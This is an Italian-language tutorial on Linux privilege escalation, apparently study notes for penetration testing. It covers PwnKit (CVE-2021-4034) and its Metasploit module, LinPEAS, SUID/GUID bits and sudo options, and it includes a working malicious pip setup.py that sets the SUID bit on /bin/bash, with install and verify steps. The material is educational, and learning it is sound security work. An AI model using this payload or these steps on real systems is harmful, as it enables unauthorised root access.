Il Cammino dei Maestri dei Privilegi

- **PWNKIT**
  PwnKit (“CVE-2021-4034”) è una vulnerabilità critica presente in pkexec, parte del framework Polkit. Il problema risiede in un’impropria gestione degli argomenti da parte del comando, permettendo l’esecuzione di comandi arbitrari come utente root.

Procedura per l’identificazione

1. Verifica della presenza di pkexec:
   `which pkexec`
2. Determinazione della versione di Polkit:
   `pkexec --version`
3. Analisi dei log di sistema per ispezionare i log per comportamenti anomali relativi all'uso di pkexec:
   `grep pkexec /var/log/syslog`
   Esecuzione dell'exploit con msfconsole

- Il modulo: `exploit/linux/local/polkit_pkexec`
- Se il sistema è vulnerabile, si otterrà una shell con privilegi elevati.

Secondo quanto scritto da RedHat in https://access.redhat.com/security/cve/CVE-2021-4034
"A local privilege escalation vulnerability was found on polkit's pkexec utility. The pkexec application is a setuid tool designed to allow unprivileged users to run commands as privileged users according predefined policies. The current version of pkexec doesn't handle the calling parameters count correctly and ends trying to execute environment variables as commands. An attacker can leverage this by crafting environment variables in such a way it'll induce pkexec to execute arbitrary code. When successfully executed the attack can cause a local privilege escalation given unprivileged users administrative rights on the target machine."
E' stata rilevata una vulnerabilità di escalation dei privilegi locali sull'utilità pkexec di polkit. L'applicazione pkexec è uno strumento setuid progettato per consentire agli utenti non privilegiati di eseguire comandi come utenti privilegiati secondo criteri predefiniti. La versione corrente di pkexec non gestisce correttamente il conteggio dei parametri chiamanti e termina il tentativo di eseguire variabili d'ambiente come comandi. Un utente malintenzionato può sfruttare questo creando variabili d'ambiente in modo tale da indurre pkexec a eseguire codice arbitrario. Se eseguito correttamente, l'attacco può causare un'escalation dei privilegi locali, dati gli utenti non privilegiati con diritti amministrativi sul computer di destinazione.

- **Che cosa è polkit**
  Polkit è un framework che consente alle applicazioni non privilegiate di interagire in modo sicuro con processi privilegiati. Serve come intermediario tra i servizi di sistema che richiedono privilegi elevati (come systemd) e le applicazioni utente.

Polkit è tipicamente installato su distribuzioni Linux moderne ed è configurato per lavorare con demoni come systemd, udisks, e NetworkManager.

- **Componenti principali di polkit**

1. pkexec:
   Un comando simile a sudo, che consente agli utenti di eseguire comandi come root se autorizzati. È stato il vettore principale della vulnerabilità PwnKit (CVE-2021-4034).
2. polkitd:
   Il demone di Polkit, responsabile di elaborare le richieste di autorizzazione.
3. File di configurazione:
   Polkit utilizza file .policy per definire le regole di autorizzazione. Questi file si trovano tipicamente in /usr/share/polkit-1/actions/.
4. Agent di autenticazione:
   Un componente che presenta richieste di autorizzazione agli utenti (es. finestre di dialogo grafiche).

- **LinPEAS**
  LinPEAS (Linux Privilege Escalation Awesome Script) è uno script progettato per scansionare un sistema alla ricerca di configurazioni errate, credenziali memorizzate e vettori di escalation.
- Cosa fa:
  1. Evidenzia file e directory con permessi impropri.
  2. Identifica processi in esecuzione come root che possono essere manipolati.
  3. Elenca credenziali salvate in chiaro.
- Punti critici da analizzare:
  1. Permessi SUID e GUID:
     `find / -perm -u=s -type f 2>/dev/null`
  2. Variabili di ambiente pericolose:
     `env`

https://thecybersecguru.com/tutorials/linpeas-mastering-linux-privilege-escalation/
LinPEAS (Linux Privilege Escalation Awesome Script) è uno strumento potente che automatizza il processo di identificazione dei potenziali vettori di escalation di privilegi sui sistemi Linux. Esso analizza il sistema alla ricerca di varie configurazioni errate, vulnerabilità e falle di sicurezza che potrebbero essere sfruttate da un attaccante.
Fornendo una panoramica completa dei possibili vettori di attacco, LinPEAS aiuta i professionisti della sicurezza a identificare e mitigare proattivamente i rischi, migliorando la postura complessiva di sicurezza dei sistemi Linux. Una delle caratteristiche principali di LinPEAS è la sua capacità di enumerazione estesa. Lo strumento analizza il sistema per raccogliere informazioni come software installati, servizi in esecuzione, account utente, cron job e molto altro. Queste informazioni sono cruciali sia per gli attaccanti che per i professionisti della sicurezza per comprendere la superficie d'attacco del sistema.
LinPEAS analizza anche i permessi dei file, controlla i file scrivibili da tutti e identifica i binari con i bit SUID o SGID impostati, inclusi quelli nella directory bin. Questi risultati possono rivelare potenziali

debolezze sfruttabili per ottenere un'escalation di privilegi. Inoltre, LinPEAS aiuta a individuare file e directory interessanti, come file di configurazione, file di log e backup, che potrebbero contenere informazioni sensibili o fornire indizi utili per l'escalation di privilegi.
Automatizzando queste attività ripetitive, LinPEAS consente ai professionisti della sicurezza di risparmiare tempo e fatica, permettendo loro di concentrarsi sull'analisi dei risultati e sull'adozione di misure correttive appropriate.
Sebbene esistano molti strumenti e tecniche per l'escalation di privilegi, LinPEAS si distingue per il suo approccio completo e automatizzato. Consolida numerosi metodi manuali in un unico script, semplificando il processo di scoperta delle vulnerabilità.
A differenza di alcuni strumenti che si concentrano su tecniche di sfruttamento specifiche, LinPEAS offre una prospettiva più ampia, evidenziando i potenziali vettori di attacco in diversi aspetti del sistema.
Ad esempio, l'elenco curato dei binari Unix all'interno di GTFOBins fornisce modi per sfruttare vulnerabilità note in utilità comuni. Queste risorse spesso completano l'uso di LinPEAS, offrendo spunti su come sfruttare i risultati specifici.
Inoltre, l'output intuitivo di LinPEAS e la sua evidenziazione a colori facilitano l'identificazione e la priorità delle vulnerabilità critiche.

- **PIP**
  Il package manager pip può essere sfruttato per eseguire codice arbitrario quando configurato in modo errato o se viene indotto a installare package malevoli.
- Per creare un package malevolo bisogna creare un file setup.py con codice per ottenere privilegi elevati

```
  from setuptools import setup
import os

os.system("chmod u+s /bin/bash")

setup(name='malicious_package', version='1.0', description='Escalation PoC')
```

Poi bisogna installare il package
`pip install ./malicious_package`
Verificare il risultato tramite il comando `ls -l /bin/bash`
Se i permessi SUID sono stati impostati, l'escalation è riuscita.
https://en.wikipedia.org/wiki/Pip_(package_manager)
Pip (noto anche come pip3 nella versione per Python 3) è un sistema di gestione dei pacchetti scritto in Python, utilizzato per installare e gestire pacchetti software. La Python Software Foundation raccomanda l'uso di pip per installare applicazioni Python e le relative dipendenze durante il deployment.
Pip si connette a un repository online di pacchetti pubblici, noto come Python Package Index (PyPI). Tuttavia, può essere configurato per connettersi ad altri repository di pacchetti, sia locali che remoti, a condizione che siano conformi alla Python Enhancement Proposal 503 (PEP 503).
La maggior parte delle distribuzioni di Python include pip preinstallato, in particolare:

- Python 2.7.9 e versioni successive (della serie Python 2).
- Python 3.4 e versioni successive.

- **COSA SONO I PERMESSI SUID E GUID**
- I permessi SUID (Set User ID) e GUID (Set Group ID) sono attributi speciali nei file system di tipo UNIX/Linux che influenzano il modo in cui un programma o un file viene eseguito. Sono spesso utilizzati per consentire agli utenti di eseguire programmi con privilegi diversi dai propri, il che può essere sia utile che rischioso.

SUID
SET USER ID
Quando un file eseguibile ha il bit SUID impostato, il programma viene eseguito con i privilegi del proprietario del file, anziché con quelli dell'utente che lo ha avviato. Questo meccanismo è utile per eseguire operazioni che richiedono privilegi elevati (ad esempio, privilegi di root) senza dover concedere tali privilegi direttamente all'utente.
Se un file SUID contiene vulnerabilità (come buffer overflow), un attaccante può sfruttarle per ottenere privilegi elevati. Ad esempio, un programma con SUID impostato a root potrebbe consentire un'escalation di privilegi se non adeguatamente protetto.
GUID
SET GROUP ID
Quando un file o una directory ha il bit GUID impostato:

- Per i file eseguibili: il programma viene eseguito con i privilegi del gruppo proprietario del file, invece che con quelli del gruppo dell'utente che lo avvia.
- Per le directory: tutti i file creati all'interno della directory erediteranno il gruppo della directory stessa, piuttosto che il gruppo dell'utente che li crea.
  Il bit GUID su directory o file può causare accessi non autorizzati a risorse condivise, specialmente in ambienti multiutente.

- **SUDO**
  Il comando sudo (abbreviazione di superuser do) è uno strumento utilizzato sui sistemi UNIX/Linux per eseguire comandi con i privilegi di un altro utente, solitamente l'utente root (superuser). È uno strumento fondamentale per la gestione dei sistemi, poiché consente di limitare l'accesso ai privilegi di amministrazione in modo sicuro e controllato.
  Quando un utente utilizza il comando sudo, il sistema verifica se l'utente ha i permessi necessari per eseguire il comando specificato con privilegi elevati. Questo viene determinato dal file di configurazione di sudo, chiamato sudoers.
  Quando un utente esegue sudo, gli viene richiesto di inserire la propria password per verificare l'autenticazione. Dopo l'autenticazione, l'utente può eseguire comandi con privilegi elevati senza essere nuovamente autenticato per un periodo di tempo predefinito (di solito 5 minuti).

-OPZIONI DEL COMANDO

1. sudo -u [utente] comando
   Esegue un comando come un altro utente specifico (di default root).
2. sudo -i
   Avvia una shell interattiva come superuser, equivalente al comando su -.
3. sudo -s
   Avvia una shell con privilegi di superuser, mantenendo la shell corrente.
4. sudo -l
   Elenca i comandi che l'utente corrente è autorizzato a eseguire con sudo.
5. sudo -v
   Aggiorna il timeout della sessione, evitando che l'utente debba reinserire la password.
6. sudo -k
   Revoca l'autenticazione, richiedendo nuovamente la password al successivo utilizzo di sudo.